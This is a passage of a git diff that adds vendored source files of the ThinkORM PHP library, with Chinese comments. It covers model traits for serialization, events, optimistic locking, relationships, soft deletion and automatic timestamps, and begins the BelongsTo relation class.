string + */ + public function toJson(int $options = JSON_UNESCAPED_UNICODE): string + { + return json_encode($this->toArray(), $options); + } + + public function __toString() + { + return $this->toJson(); + } + + // JsonSerializable + public function jsonSerialize() + { + return $this->toArray(); + } + + /** + * 转换数据集为数据集对象 + * @access public + * @param array|Collection $collection 数据集 + * @param string $resultSetType 数据集类 + * @return Collection + */ + public function toCollection(iterable $collection = [], string $resultSetType = null): Collection + { + $resultSetType = $resultSetType ?: $this->resultSetType; + + if ($resultSetType && false !== strpos($resultSetType, '\\')) { + $collection = new $resultSetType($collection); + } else { + $collection = new ModelCollection($collection); + } + + return $collection; + } + +} diff --git a/vendor/topthink/think-orm/src/model/concern/ModelEvent.php b/vendor/topthink/think-orm/src/model/concern/ModelEvent.php new file mode 100644 index 0000000..f560379 --- /dev/null +++ b/vendor/topthink/think-orm/src/model/concern/ModelEvent.php @@ -0,0 +1,88 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think\model\concern; + +use think\db\exception\ModelEventException; +use think\helper\Str; + +/** + * 模型事件处理 + */ +trait ModelEvent +{ + + /** + * Event对象 + * @var object + */ + protected static $event; + + /** + * 是否需要事件响应 + * @var bool + */ + protected $withEvent = true; + + /** + * 设置Event对象 + * @access public + * @param object $event Event对象 + * @return void + */ + public static function setEvent($event) + { + self::$event = $event; + } + + /** + * 当前操作的事件响应 + * @access protected + * @param bool $event 是否需要事件响应 + * @return $this + */ + public function withEvent(bool $event) + { + $this->withEvent = $event; + return $this; + } + + /** + * 触发事件 + * @access protected + * @param string $event 事件名 + * @return bool + */ + protected function trigger(string $event): bool + { + if (!$this->withEvent) { + return true; + } + + $call = 'on' . Str::studly($event); + + try { + if (method_exists(static::class, $call)) { + $result = call_user_func([static::class, $call], $this); + } elseif (is_object(self::$event) && method_exists(self::$event, 'trigger')) { + $result = self::$event->trigger(static::class . '.' . $event, $this); + $result = empty($result) ? true : end($result); + } else { + $result = true; + } + + return false === $result ? false : true; + } catch (ModelEventException $e) { + return false; + } + } +} diff --git a/vendor/topthink/think-orm/src/model/concern/OptimLock.php b/vendor/topthink/think-orm/src/model/concern/OptimLock.php new file mode 100644 index 0000000..5e61318 --- /dev/null +++ b/vendor/topthink/think-orm/src/model/concern/OptimLock.php @@ -0,0 +1,85 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think\model\concern; + +use think\db\exception\DbException as Exception; + +/** + * 乐观锁 + */ +trait OptimLock +{ + protected function getOptimLockField() + { + return property_exists($this, 'optimLock') && isset($this->optimLock) ? $this->optimLock : 'lock_version'; + } + + /** + * 数据检查 + * @access protected + * @return void + */ + protected function checkData(): void + { + $this->isExists() ? $this->updateLockVersion() : $this->recordLockVersion(); + } + + /** + * 记录乐观锁 + * @access protected + * @return void + */ + protected function recordLockVersion(): void + { + $optimLock = $this->getOptimLockField(); + + if ($optimLock) { + $this->set($optimLock, 0); + } + } + + /** + * 更新乐观锁 + * @access protected + * @return void + */ + protected function updateLockVersion(): void + { + $optimLock = $this->getOptimLockField(); + + if ($optimLock && $lockVer = $this->getOrigin($optimLock)) { + // 更新乐观锁 + $this->set($optimLock, $lockVer + 1); + } + } + + public function getWhere() + { + $where = parent::getWhere(); + $optimLock = $this->getOptimLockField(); + + if ($optimLock && $lockVer = $this->getOrigin($optimLock)) { + $where[] = [$optimLock, '=', $lockVer]; + } + + return $where; + } + + protected function checkResult($result): void + { + if (!$result) { + throw new Exception('record has update'); + } + } + +} diff --git a/vendor/topthink/think-orm/src/model/concern/RelationShip.php b/vendor/topthink/think-orm/src/model/concern/RelationShip.php new file mode 100644 index 0000000..f3da1c4 --- /dev/null +++ b/vendor/topthink/think-orm/src/model/concern/RelationShip.php @@ -0,0 +1,841 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think\model\concern; + +use Closure; +use think\Collection; +use think\db\BaseQuery as Query; +use think\db\exception\DbException as Exception; +use think\helper\Str; +use think\Model; +use think\model\Relation; +use think\model\relation\BelongsTo; +use think\model\relation\BelongsToMany; +use think\model\relation\HasMany; +use think\model\relation\HasManyThrough; +use think\model\relation\HasOne; +use think\model\relation\HasOneThrough; +use think\model\relation\MorphMany; +use think\model\relation\MorphOne; +use think\model\relation\MorphTo; +use think\model\relation\MorphToMany; +use think\model\relation\OneToOne; + +/** + * 模型关联处理 + */ +trait RelationShip +{ + /** + * 父关联模型对象 + * @var object + */ + private $parent; + + /** + * 模型关联数据 + * @var array + */ + private $relation = []; + + /** + * 关联写入定义信息 + * @var array + */ + private $together = []; + + /** + * 关联自动写入信息 + * @var array + */ + protected $relationWrite = []; + + /** + * 设置父关联对象 + * @access public + * @param Model $model 模型对象 + * @return $this + */ + public function setParent(Model $model) + { + $this->parent = $model; + + return $this; + } + + /** + * 获取父关联对象 + * @access public + * @return Model + */ + public function getParent(): Model + { + return $this->parent; + } + + /** + * 获取当前模型的关联模型数据 + * @access public + * @param string $name 关联方法名 + * @param bool $auto 不存在是否自动获取 + * @return mixed + */ + public function getRelation(string $name = null, bool $auto = false) + { + if (is_null($name)) { + return $this->relation; + } + + if (array_key_exists($name, $this->relation)) { + return $this->relation[$name]; + } elseif ($auto) { + $relation = Str::camel($name); + return $this->getRelationValue($relation); + } + } + + /** + * 设置关联数据对象值 + * @access public + * @param string $name 属性名 + * @param mixed $value 属性值 + * @param array $data 数据 + * @return $this + */ + public function setRelation(string $name, $value, array $data = []) + { + // 检测修改器 + $method = 'set' . Str::studly($name) . 'Attr'; + + if (method_exists($this, $method)) { + $value = $this->$method($value, array_merge($this->data, $data)); + } + + $this->relation[$this->getRealFieldName($name)] = $value; + + return $this; + } + + /** + * 查询当前模型的关联数据 + * @access public + * @param array $relations 关联名 + * @param array $withRelationAttr 关联获取器 + * @return void + */ + public function relationQuery(array $relations, array $withRelationAttr = []): void + { + foreach ($relations as $key => $relation) { + $subRelation = ''; + $closure = null; + + if ($relation instanceof Closure) { + // 支持闭包查询过滤关联条件 + $closure = $relation; + $relation = $key; + } + + if (is_array($relation)) { + $subRelation = $relation; + $relation = $key; + } elseif (strpos($relation, '.')) { + [$relation, $subRelation] = explode('.', $relation, 2); + } + + $method = Str::camel($relation); + $relationName = Str::snake($relation); + + $relationResult = $this->$method(); + + if (isset($withRelationAttr[$relationName])) { + $relationResult->withAttr($withRelationAttr[$relationName]); + } + + $this->relation[$relation] = $relationResult->getRelation($subRelation, $closure); + } + } + + /** + * 关联数据写入 + * @access public + * @param array $relation 关联 + * @return $this + */ + public function together(array $relation) + { + $this->together = $relation; + + $this->checkAutoRelationWrite(); + + return $this; + } + + /** + * 根据关联条件查询当前模型 + * @access public + * @param string $relation 关联方法名 + * @param mixed $operator 比较操作符 + * @param integer $count 个数 + * @param string $id 关联表的统计字段 + * @param string $joinType JOIN类型 + * @param Query $query Query对象 + * @return Query + */ + public static function has(string $relation, string $operator = '>=', int $count = 1, string $id = '*', string $joinType = '', Query $query = null): Query + { + return (new static()) + ->$relation() + ->has($operator, $count, $id, $joinType, $query); + } + + /** + * 根据关联条件查询当前模型 + * @access public + * @param string $relation 关联方法名 + * @param mixed $where 查询条件(数组或者闭包) + * @param mixed $fields 字段 + * @param string $joinType JOIN类型 + * @param Query $query Query对象 + * @return Query + */ + public static function hasWhere(string $relation, $where = [], string $fields = '*', string $joinType = '', Query $query = null): Query + { + return (new static()) + ->$relation() + ->hasWhere($where, $fields, $joinType, $query); + } + + /** + * 预载入关联查询 JOIN方式 + * @access public + * @param Query $query Query对象 + * @param string $relation 关联方法名 + * @param mixed $field 字段 + * @param string $joinType JOIN类型 + * @param Closure $closure 闭包 + * @param bool $first + * @return bool + */ + public function eagerly(Query $query, string $relation, $field, string $joinType = '', Closure $closure = null, bool $first = false): bool + { + $relation = Str::camel($relation); + $class = $this->$relation(); + + if ($class instanceof OneToOne) { + $class->eagerly($query, $relation, $field, $joinType, $closure, $first); + return true; + } else { + return false; + } + } + + /** + * 预载入关联查询 返回数据集 + * @access public + * @param array $resultSet 数据集 + * @param string $relation 关联名 + * @param array $withRelationAttr 关联获取器 + * @param bool $join 是否为JOIN方式 + * @param mixed $cache 关联缓存 + * @return void + */ + public function eagerlyResultSet(array &$resultSet, array $relations, array $withRelationAttr = [], bool $join = false, $cache = false): void + { + foreach ($relations as $key => $relation) { + $subRelation = []; + $closure = null; + + if ($relation instanceof Closure) { + $closure = $relation; + $relation = $key; + } + + if (is_array($relation)) { + $subRelation = $relation; + $relation = $key; + } elseif (strpos($relation, '.')) { + [$relation, $subRelation] = explode('.', $relation, 2); + + $subRelation = [$subRelation]; + } + + $relationName = $relation; + $relation = Str::camel($relation); + + $relationResult = $this->$relation(); + + if (isset($withRelationAttr[$relationName])) { + $relationResult->withAttr($withRelationAttr[$relationName]); + } + + if (is_scalar($cache)) { + $relationCache = [$cache]; + } else { + $relationCache = $cache[$relationName] ?? $cache; + } + + $relationResult->eagerlyResultSet($resultSet, $relationName, $subRelation, $closure, $relationCache, $join); + } + } + + /** + * 预载入关联查询 返回模型对象 + * @access public + * @param Model $result 数据对象 + * @param array $relations 关联 + * @param array $withRelationAttr 关联获取器 + * @param bool $join 是否为JOIN方式 + * @param mixed $cache 关联缓存 + * @return void + */ + public function eagerlyResult(Model $result, array $relations, array $withRelationAttr = [], bool $join = false, $cache = false): void + { + foreach ($relations as $key => $relation) { + $subRelation = []; + $closure = null; + + if ($relation instanceof Closure) { + $closure = $relation; + $relation = $key; + } + + if (is_array($relation)) { + $subRelation = $relation; + $relation = $key; + } elseif (strpos($relation, '.')) { + [$relation, $subRelation] = explode('.', $relation, 2); + + $subRelation = [$subRelation]; + } + + $relationName = $relation; + $relation = Str::camel($relation); + + $relationResult = $this->$relation(); + + if (isset($withRelationAttr[$relationName])) { + $relationResult->withAttr($withRelationAttr[$relationName]); + } + + if (is_scalar($cache)) { + $relationCache = [$cache]; + } else { + $relationCache = $cache[$relationName] ?? []; + } + + $relationResult->eagerlyResult($result, $relationName, $subRelation, $closure, $relationCache, $join); + } + } + + /** + * 绑定(一对一)关联属性到当前模型 + * @access protected + * @param string $relation 关联名称 + * @param array $attrs 绑定属性 + * @return $this + * @throws Exception + */ + public function bindAttr(string $relation, array $attrs = []) + { + $relation = $this->getRelation($relation); + + foreach ($attrs as $key => $attr) { + $key = is_numeric($key) ? $attr : $key; + $value = $this->getOrigin($key); + + if (!is_null($value)) { + throw new Exception('bind attr has exists:' . $key); + } + + $this->set($key, $relation ? $relation->$attr : null); + } + + return $this; + } + + /** + * 关联统计 + * @access public + * @param Query $query 查询对象 + * @param array $relations 关联名 + * @param string $aggregate 聚合查询方法 + * @param string $field 字段 + * @param bool $useSubQuery 子查询 + * @return void + */ + public function relationCount(Query $query, array $relations, string $aggregate = 'sum', string $field = '*', bool $useSubQuery = true): void + { + foreach ($relations as $key => $relation) { + $closure = $name = null; + + if ($relation instanceof Closure) { + $closure = $relation; + $relation = $key; + } elseif (is_string($key)) { + $name = $relation; + $relation = $key; + } + + $relation = Str::camel($relation); + + if ($useSubQuery) { + $count = $this->$relation()->getRelationCountQuery($closure, $aggregate, $field, $name); + } else { + $count = $this->$relation()->relationCount($this, $closure, $aggregate, $field, $name); + } + + if (empty($name)) { + $name = Str::snake($relation) . '_' . $aggregate; + } + + if ($useSubQuery) { + $query->field(['(' . $count . ')' => $name]); + } else { + $this->setAttr($name, $count); + } + } + } + + /** + * HAS ONE 关联定义 + * @access public + * @param string $model 模型名 + * @param string $foreignKey 关联外键 + * @param string $localKey 当前主键 + * @return HasOne + */ + public function hasOne(string $model, string $foreignKey = '', string $localKey = ''): HasOne + { + // 记录当前关联信息 + $model = $this->parseModel($model); + $localKey = $localKey ?: $this->getPk(); + $foreignKey = $foreignKey ?: $this->getForeignKey($this->name); + + return new HasOne($this, $model, $foreignKey, $localKey); + } + + /** + * BELONGS TO 关联定义 + * @access public + * @param string $model 模型名 + * @param string $foreignKey 关联外键 + * @param string $localKey 关联主键 + * @return BelongsTo + */ + public function belongsTo(string $model, string $foreignKey = '', string $localKey = ''): BelongsTo + { + // 记录当前关联信息 + $model = $this->parseModel($model); + $foreignKey = $foreignKey ?: $this->getForeignKey((new $model)->getName()); + $localKey = $localKey ?: (new $model)->getPk(); + $trace = debug_backtrace(DEBUG_BACKTRACE_IGNORE_ARGS, 2); + $relation = Str::snake($trace[1]['function']); + + return new BelongsTo($this, $model, $foreignKey, $localKey, $relation); + } + + /** + * HAS MANY 关联定义 + * @access public + * @param string $model 模型名 + * @param string $foreignKey 关联外键 + * @param string $localKey 当前主键 + * @return HasMany + */ + public function hasMany(string $model, string $foreignKey = '', string $localKey = ''): HasMany + { + // 记录当前关联信息 + $model = $this->parseModel($model); + $localKey = $localKey ?: $this->getPk(); + $foreignKey = $foreignKey ?: $this->getForeignKey($this->name); + + return new HasMany($this, $model, $foreignKey, $localKey); + } + + /** + * HAS MANY 远程关联定义 + * @access public + * @param string $model 模型名 + * @param string $through 中间模型名 + * @param string $foreignKey 关联外键 + * @param string $throughKey 关联外键 + * @param string $localKey 当前主键 + * @param string $throughPk 中间表主键 + * @return HasManyThrough + */ + public function hasManyThrough(string $model, string $through, string $foreignKey = '', string $throughKey = '', string $localKey = '', string $throughPk = ''): HasManyThrough + { + // 记录当前关联信息 + $model = $this->parseModel($model); + $through = $this->parseModel($through); + $localKey = $localKey ?: $this->getPk(); + $foreignKey = $foreignKey ?: $this->getForeignKey($this->name); + $throughKey = $throughKey ?: $this->getForeignKey((new $through)->getName()); + $throughPk = $throughPk ?: (new $through)->getPk(); + + return new HasManyThrough($this, $model, $through, $foreignKey, $throughKey, $localKey, $throughPk); + } + + /** + * HAS ONE 远程关联定义 + * @access public + * @param string $model 模型名 + * @param string $through 中间模型名 + * @param string $foreignKey 关联外键 + * @param string $throughKey 关联外键 + * @param string $localKey 当前主键 + * @param string $throughPk 中间表主键 + * @return HasOneThrough + */ + public function hasOneThrough(string $model, string $through, string $foreignKey = '', string $throughKey = '', string $localKey = '', string $throughPk = ''): HasOneThrough + { + // 记录当前关联信息 + $model = $this->parseModel($model); + $through = $this->parseModel($through); + $localKey = $localKey ?: $this->getPk(); + $foreignKey = $foreignKey ?: $this->getForeignKey($this->name); + $throughKey = $throughKey ?: $this->getForeignKey((new $through)->getName()); + $throughPk = $throughPk ?: (new $through)->getPk(); + + return new HasOneThrough($this, $model, $through, $foreignKey, $throughKey, $localKey, $throughPk); + } + + /** + * BELONGS TO MANY 关联定义 + * @access public + * @param string $model 模型名 + * @param string $middle 中间表/模型名 + * @param string $foreignKey 关联外键 + * @param string $localKey 当前模型关联键 + * @return BelongsToMany + */ + public function belongsToMany(string $model, string $middle = '', string $foreignKey = '', string $localKey = ''): BelongsToMany + { + // 记录当前关联信息 + $model = $this->parseModel($model); + $name = Str::snake(class_basename($model)); + $middle = $middle ?: Str::snake($this->name) . '_' . $name; + $foreignKey = $foreignKey ?: $name . '_id'; + $localKey = $localKey ?: $this->getForeignKey($this->name); + + return new BelongsToMany($this, $model, $middle, $foreignKey, $localKey); + } + + /** + * MORPH One 关联定义 + * @access public + * @param string $model 模型名 + * @param string|array $morph 多态字段信息 + * @param string $type 多态类型 + * @return MorphOne + */ + public function morphOne(string $model, $morph = null, string $type = ''): MorphOne + { + // 记录当前关联信息 + $model = $this->parseModel($model); + + if (is_null($morph)) { + $trace = debug_backtrace(DEBUG_BACKTRACE_IGNORE_ARGS, 2); + $morph = Str::snake($trace[1]['function']); + } + + if (is_array($morph)) { + [$morphType, $foreignKey] = $morph; + } else { + $morphType = $morph . '_type'; + $foreignKey = $morph . '_id'; + } + + $type = $type ?: get_class($this); + + return new MorphOne($this, $model, $foreignKey, $morphType, $type); + } + + /** + * MORPH MANY 关联定义 + * @access public + * @param string $model 模型名 + * @param string|array $morph 多态字段信息 + * @param string $type 多态类型 + * @return MorphMany + */ + public function morphMany(string $model, $morph = null, string $type = ''): MorphMany + { + // 记录当前关联信息 + $model = $this->parseModel($model); + + if (is_null($morph)) { + $trace = debug_backtrace(DEBUG_BACKTRACE_IGNORE_ARGS, 2); + $morph = Str::snake($trace[1]['function']); + } + + $type = $type ?: get_class($this); + + if (is_array($morph)) { + [$morphType, $foreignKey] = $morph; + } else { + $morphType = $morph . '_type'; + $foreignKey = $morph . '_id'; + } + + return new MorphMany($this, $model, $foreignKey, $morphType, $type); + } + + /** + * MORPH TO 关联定义 + * @access public + * @param string|array $morph 多态字段信息 + * @param array $alias 多态别名定义 + * @return MorphTo + */ + public function morphTo($morph = null, array $alias = []): MorphTo + { + $trace = debug_backtrace(DEBUG_BACKTRACE_IGNORE_ARGS, 2); + $relation = Str::snake($trace[1]['function']); + + if (is_null($morph)) { + $morph = $relation; + } + + // 记录当前关联信息 + if (is_array($morph)) { + [$morphType, $foreignKey] = $morph; + } else { + $morphType = $morph . '_type'; + $foreignKey = $morph . '_id'; + } + + return new MorphTo($this, $morphType, $foreignKey, $alias, $relation); + } + + /** + * MORPH TO MANY关联定义 + * @access public + * @param string $model 模型名 + * @param string $middle 中间表名/模型名 + * @param string|array $morph 多态字段信息 + * @param string $localKey 当前模型关联键 + * @return MorphToMany + */ + public function morphToMany(string $model, string $middle, $morph = null, string $localKey = null): MorphToMany + { + if (is_null($morph)) { + $morph = $middle; + } + + // 记录当前关联信息 + if (is_array($morph)) { + [$morphType, $morphKey] = $morph; + } else { + $morphType = $morph . '_type'; + $morphKey = $morph . '_id'; + } + + $model = $this->parseModel($model); + $name = Str::snake(class_basename($model)); + $localKey = $localKey ?: $this->getForeignKey($name); + + return new MorphToMany($this, $model, $middle, $morphType, $morphKey, $localKey); + } + + /** + * MORPH BY MANY关联定义 + * @access public + * @param string $model 模型名 + * @param string $middle 中间表名/模型名 + * @param string|array $morph 多态字段信息 + * @param string $foreignKey 关联外键 + * @return MorphToMany + */ + public function morphByMany(string $model, string $middle, $morph = null, string $foreignKey = null): MorphToMany + { + if (is_null($morph)) { + $morph = $middle; + } + + // 记录当前关联信息 + if (is_array($morph)) { + [$morphType, $morphKey] = $morph; + } else { + $morphType = $morph . '_type'; + $morphKey = $morph . '_id'; + } + + $model = $this->parseModel($model); + $foreignKey = $foreignKey ?: $this->getForeignKey($this->name); + + return new MorphToMany($this, $model, $middle, $morphType, $morphKey, $foreignKey, true); + } + + /** + * 解析模型的完整命名空间 + * @access protected + * @param string $model 模型名(或者完整类名) + * @return string + */ + protected function parseModel(string $model): string + { + if (false === strpos($model, '\\')) { + $path = explode('\\', static::class); + array_pop($path); + array_push($path, Str::studly($model)); + $model = implode('\\', $path); + } + + return $model; + } + + /** + * 获取模型的默认外键名 + * @access protected + * @param string $name 模型名 + * @return string + */ + protected function getForeignKey(string $name): string + { + if (strpos($name, '\\')) { + $name = class_basename($name); + } + + return Str::snake($name) . '_id'; + } + + /** + * 检查属性是否为关联属性 如果是则返回关联方法名 + * @access protected + * @param string $attr 关联属性名 + * @return string|false + */ + protected function isRelationAttr(string $attr) + { + $relation = Str::camel($attr); + + if ((method_exists($this, $relation) && !method_exists('think\Model', $relation)) || isset(static::$macro[static::class][$relation])) { + return $relation; + } + + return false; + } + + /** + * 智能获取关联模型数据 + * @access protected + * @param Relation $modelRelation 模型关联对象 + * @return mixed + */ + protected function getRelationData(Relation $modelRelation) + { + if ($this->parent && !$modelRelation->isSelfRelation() + && get_class($this->parent) == get_class($modelRelation->getModel())) { + return $this->parent; + } + + // 获取关联数据 + return $modelRelation->getRelation(); + } + + /** + * 关联数据自动写入检查 + * @access protected + * @return void + */ + protected function checkAutoRelationWrite(): void + { + foreach ($this->together as $key => $name) { + if (is_array($name)) { + if (key($name) === 0) { + $this->relationWrite[$key] = []; + // 绑定关联属性 + foreach ($name as $val) { + if (isset($this->data[$val])) { + $this->relationWrite[$key][$val] = $this->data[$val]; + } + } + } else { + // 直接传入关联数据 + $this->relationWrite[$key] = $name; + } + } elseif (isset($this->relation[$name])) { + $this->relationWrite[$name] = $this->relation[$name]; + } elseif (isset($this->data[$name])) { + $this->relationWrite[$name] = $this->data[$name]; + unset($this->data[$name]); + } + } + } + + /** + * 自动关联数据更新(针对一对一关联) + * @access protected + * @return void + */ + protected function autoRelationUpdate(): void + { + foreach ($this->relationWrite as $name => $val) { + if ($val instanceof Model) { + $val->exists(true)->save(); + } else { + $model = $this->getRelation($name, true); + + if ($model instanceof Model) { + $model->exists(true)->save($val); + } + } + } + } + + /** + * 自动关联数据写入(针对一对一关联) + * @access protected + * @return void + */ + protected function autoRelationInsert(): void + { + foreach ($this->relationWrite as $name => $val) { + $method = Str::camel($name); + $this->$method()->save($val); + } + } + + /** + * 自动关联数据删除(支持一对一及一对多关联) + * @access protected + * @return void + */ + protected function autoRelationDelete(): void + { + foreach ($this->relationWrite as $key => $name) { + $name = is_numeric($key) ? $name : $key; + $result = $this->getRelation($name, true); + + if ($result instanceof Model) { + $result->delete(); + } elseif ($result instanceof Collection) { + foreach ($result as $model) { + $model->delete(); + } + } + } + } + + /** + * 移除当前模型的关联属性 + * @access public + * @return $this + */ + public function removeRelation() + { + $this->relation = []; + return $this; + } +} diff --git a/vendor/topthink/think-orm/src/model/concern/SoftDelete.php b/vendor/topthink/think-orm/src/model/concern/SoftDelete.php new file mode 100644 index 0000000..ce5d392 --- /dev/null +++ b/vendor/topthink/think-orm/src/model/concern/SoftDelete.php @@ -0,0 +1,248 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think\model\concern; + +use think\db\BaseQuery as Query; +use think\Model; + +/** + * 数据软删除 + * @mixin Model + */ +trait SoftDelete +{ + /** + * 是否包含软删除数据 + * @var bool + */ + protected $withTrashed = false; + + /** + * 判断当前实例是否被软删除 + * @access public + * @return bool + */ + public function trashed(): bool + { + $field = $this->getDeleteTimeField(); + + if ($field && !empty($this->getOrigin($field))) { + return true; + } + + return false; + } + + /** + * 查询软删除数据 + * @access public + * @return Query + */ + public static function withTrashed(): Query + { + $model = new static(); + + return $model->withTrashedData(true)->db(); + } + + /** + * 是否包含软删除数据 + * @access protected + * @param bool $withTrashed 是否包含软删除数据 + * @return $this + */ + protected function withTrashedData(bool $withTrashed) + { + $this->withTrashed = $withTrashed; + return $this; + } + + /** + * 只查询软删除数据 + * @access public + * @return Query + */ + public static function onlyTrashed(): Query + { + $model = new static(); + $field = $model->getDeleteTimeField(true); + + if ($field) { + return $model + ->db() + ->useSoftDelete($field, $model->getWithTrashedExp()); + } + + return $model->db(); + } + + /** + * 获取软删除数据的查询条件 + * @access protected + * @return array + */ + protected function getWithTrashedExp(): array + { + return is_null($this->defaultSoftDelete) ? ['notnull', ''] : ['<>', $this->defaultSoftDelete]; + } + + /** + * 删除当前的记录 + * @access public + * @return bool + */ + public function delete(): bool + { + if (!$this->isExists() || $this->isEmpty() || false === $this->trigger('BeforeDelete')) { + return false; + } + + $name = $this->getDeleteTimeField(); + + if ($name && !$this->isForce()) { + // 软删除 + $this->set($name, $this->autoWriteTimestamp($name)); + + $result = $this->exists()->withEvent(false)->save(); + + $this->withEvent(true); + } else { + // 读取更新条件 + $where = $this->getWhere(); + + // 删除当前模型数据 + $result = $this->db() + ->where($where) + ->removeOption('soft_delete') + ->delete(); + + $this->lazySave(false); + } + + // 关联删除 + if (!empty($this->relationWrite)) { + $this->autoRelationDelete(); + } + + $this->trigger('AfterDelete'); + + $this->exists(false); + + return true; + } + + /** + * 删除记录 + * @access public + * @param mixed $data 主键列表 支持闭包查询条件 + * @param bool $force 是否强制删除 + * @return bool + */ + public static function destroy($data, bool $force = false): bool + { + // 包含软删除数据 + $query = (new static())->withTrashedData(true)->db(false); + + if (is_array($data) && key($data) !== 0) { + $query->where($data); + $data = null; + } elseif ($data instanceof \Closure) { + call_user_func_array($data, [ & $query]); + $data = null; + } elseif (is_null($data)) { + return false; + } + + $resultSet = $query->select($data); + + foreach ($resultSet as $result) { + $result->force($force)->delete(); + } + + return true; + } + + /** + * 恢复被软删除的记录 + * @access public + * @param array $where 更新条件 + * @return bool + */ + public function restore($where = []): bool + { + $name = $this->getDeleteTimeField(); + + if (!$name || false === $this->trigger('BeforeRestore')) { + return false; + } + + if (empty($where)) { + $pk = $this->getPk(); + if (is_string($pk)) { + $where[] = [$pk, '=', $this->getData($pk)]; + } + } + + // 恢复删除 + $this->db(false) + ->where($where) + ->useSoftDelete($name, $this->getWithTrashedExp()) + ->update([$name => $this->defaultSoftDelete]); + + $this->trigger('AfterRestore'); + + return true; + } + + /** + * 获取软删除字段 + * @access protected + * @param bool $read 是否查询操作 写操作的时候会自动去掉表别名 + * @return string|false + */ + protected function getDeleteTimeField(bool $read = false) + { + $field = property_exists($this, 'deleteTime') && isset($this->deleteTime) ? $this->deleteTime : 'delete_time'; + + if (false === $field) { + return false; + } + + if (false === strpos($field, '.')) { + $field = '__TABLE__.' . $field; + } + + if (!$read && strpos($field, '.')) { + $array = explode('.', $field); + $field = array_pop($array); + } + + return $field; + } + + /** + * 查询的时候默认排除软删除数据 + * @access protected + * @param Query $query + * @return void + */ + protected function withNoTrashed(Query $query): void + { + $field = $this->getDeleteTimeField(true); + + if ($field) { + $condition = is_null($this->defaultSoftDelete) ? ['null', ''] : ['=', $this->defaultSoftDelete]; + $query->useSoftDelete($field, $condition); + } + } +} diff --git a/vendor/topthink/think-orm/src/model/concern/TimeStamp.php b/vendor/topthink/think-orm/src/model/concern/TimeStamp.php new file mode 100644 index 0000000..e207961 --- /dev/null +++ b/vendor/topthink/think-orm/src/model/concern/TimeStamp.php @@ -0,0 +1,208 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think\model\concern; + +use DateTime; + +/** + * 自动时间戳 + */ +trait TimeStamp +{ + /** + * 是否需要自动写入时间戳 如果设置为字符串 则表示时间字段的类型 + * @var bool|string + */ + protected $autoWriteTimestamp; + + /** + * 创建时间字段 false表示关闭 + * @var false|string + */ + protected $createTime = 'create_time'; + + /** + * 更新时间字段 false表示关闭 + * @var false|string + */ + protected $updateTime = 'update_time'; + + /** + * 时间字段显示格式 + * @var string + */ + protected $dateFormat; + + /** + * 是否需要自动写入时间字段 + * @access public + * @param bool|string $auto + * @return $this + */ + public function isAutoWriteTimestamp($auto) + { + $this->autoWriteTimestamp = $this->checkTimeFieldType($auto); + + return $this; + } + + /** + * 检测时间字段的实际类型 + * @access public + * @param bool|string $type + * @return mixed + */ + protected function checkTimeFieldType($type) + { + if (true === $type) { + if (isset($this->type[$this->createTime])) { + $type = $this->type[$this->createTime]; + } elseif (isset($this->schema[$this->createTime]) && in_array($this->schema[$this->createTime], ['datetime', 'date', 'timestamp', 'int'])) { + $type = $this->schema[$this->createTime]; + } else { + $type = $this->getFieldType($this->createTime); + } + } + + return $type; + } + + /** + * 获取自动写入时间字段 + * @access public + * @return bool|string + */ + public function getAutoWriteTimestamp() + { + return $this->autoWriteTimestamp; + } + + /** + * 设置时间字段格式化 + * @access public + * @param string|false $format + * @return $this + */ + public function setDateFormat($format) + { + $this->dateFormat = $format; + + return $this; + } + + /** + * 获取自动写入时间字段 + * @access public + * @return string|false + */ + public function getDateFormat() + { + return $this->dateFormat; + } + + /** + * 自动写入时间戳 + * @access protected + * @return mixed + */ + protected function autoWriteTimestamp() + { + // 检测时间字段类型 + $type = $this->checkTimeFieldType($this->autoWriteTimestamp); + + return is_string($type) ? $this->getTimeTypeValue($type) : time(); + } + + /** + * 获取指定类型的时间字段值 + * @access protected + * @param string $type 时间字段类型 + * @return mixed + */ + protected function getTimeTypeValue(string $type) + { + $value = time(); + + switch ($type) { + case 'datetime': + case 'date': + case 'timestamp': + $value = $this->formatDateTime('Y-m-d H:i:s.u'); + break; + default: + if (false !== strpos($type, '\\')) { + // 对象数据写入 + $obj = new $type(); + if (method_exists($obj, '__toString')) { + // 对象数据写入 + $value = $obj->__toString(); + } + } + } + + return $value; + } + + /** + * 时间日期字段格式化处理 + * @access protected + * @param mixed $format 日期格式 + * @param mixed $time 时间日期表达式 + * @param bool $timestamp 时间表达式是否为时间戳 + * @return mixed + */ + protected function formatDateTime($format, $time = 'now', bool $timestamp = false) + { + if (empty($time)) { + return; + } + + if (false === $format) { + return $time; + } elseif (false !== strpos($format, '\\')) { + return new $format($time); + } + + if ($time instanceof DateTime) { + $dateTime = $time; + } elseif ($timestamp) { + $dateTime = new DateTime(); + $dateTime->setTimestamp((int) $time); + } else { + $dateTime = new DateTime($time); + } + + return $dateTime->format($format); + } + + /** + * 获取时间字段值 + * @access protected + * @param mixed $value + * @return mixed + */ + protected function getTimestampValue($value) + { + $type = $this->checkTimeFieldType($this->autoWriteTimestamp); + + if (is_string($type) && in_array(strtolower($type), [ + 'datetime', 'date', 'timestamp', + ])) { + $value = $this->formatDateTime($this->dateFormat, $value); + } else { + $value = $this->formatDateTime($this->dateFormat, $value, true); + } + + return $value; + } +} diff --git a/vendor/topthink/think-orm/src/model/relation/BelongsTo.php b/vendor/topthink/think-orm/src/model/relation/BelongsTo.php new file mode 100644 index 0000000..789c944 --- /dev/null +++ b/vendor/topthink/think-orm/src/model/relation/BelongsTo.php @@ -0,0 +1,331 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think\model\relation; + +use Closure; +use think\db\BaseQuery as Query; +use think\helper\Str; +use think\Model; + +/** + * BelongsTo关联类 + */ +class BelongsTo extends OneToOne +{ + /** + * 架构函数 + * @access public + * @param Model $parent 上级模型对象 + * @param string $model 模型名 + * @param string $foreignKey 关联外键 + * @param string $localKey 关联主键 + * @param string $relation 关联名 + */ + public function __construct(Model $parent, string $model, string $foreignKey, string $localKey, string $relation = null) + { + $this->parent = $parent; + $this->model = $model; + $this->foreignKey = $foreignKey; + $this->localKey = $localKey; + $this->query = (new $model)->db(); + $this->relation = $relation; + + if (get_class($parent) == $model) { + 